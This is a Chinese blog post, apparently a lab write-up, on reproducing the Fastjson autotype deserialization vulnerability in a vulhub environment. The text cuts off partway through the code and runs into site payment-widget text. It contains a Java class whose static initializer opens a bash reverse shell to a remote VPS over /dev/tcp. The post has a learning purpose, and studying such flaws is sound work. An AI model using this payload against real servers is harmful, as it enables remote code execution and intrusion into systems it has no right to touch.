Fastjson 反序列化漏洞复现

本文详细介绍了Fastjson的反序列化漏洞,包括漏洞原理、复现过程以及利用方法。通过示例展示了如何在fastjson 1.2.24和1.2.47版本中触发漏洞,同时提到了利用RMI服务和Java 8环境进行漏洞复现的步骤。此外,还探讨了Fastjson漏洞的探测方法,如DNS日志检查和payload探测,并给出了Java 8的安装指南。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Fastjson 反序列化漏洞复现

前言

因为之前并没有遇到过fastjson相关的漏洞,刚好这次有机会碰到了就顺便学习一下并记录自己踩过的坑。

漏洞描述

fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行等这类问题。

漏洞复现

这里漏洞环境主要是用vulhub上的两个fastjson漏洞搭建,搭建完成以后访问8090端口会出现如下所示
在这里插入图片描述
漏洞利用需要我们在vps上启一个RMI服务并调用class文件,这些我们都可以在一台服务器上完成。
首先我们先创建命令执行代码,执行命令反弹shell,创建test.java,使用命令javac test.java编译生成test.class(整个实验环境都是基于java8的基础上)

import java.lang.Runtime;
import java.lang.Process;

public class test {
   
   
    static {
   
   
        try {
   
   
            Runtime rt = Runtime.getRuntime();
            String[] commands = {
   
   "bash", "-c", "bash -i >& /dev/tcp/59.110.xx.xx/8002 0>&1"};
            Process pc = r
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值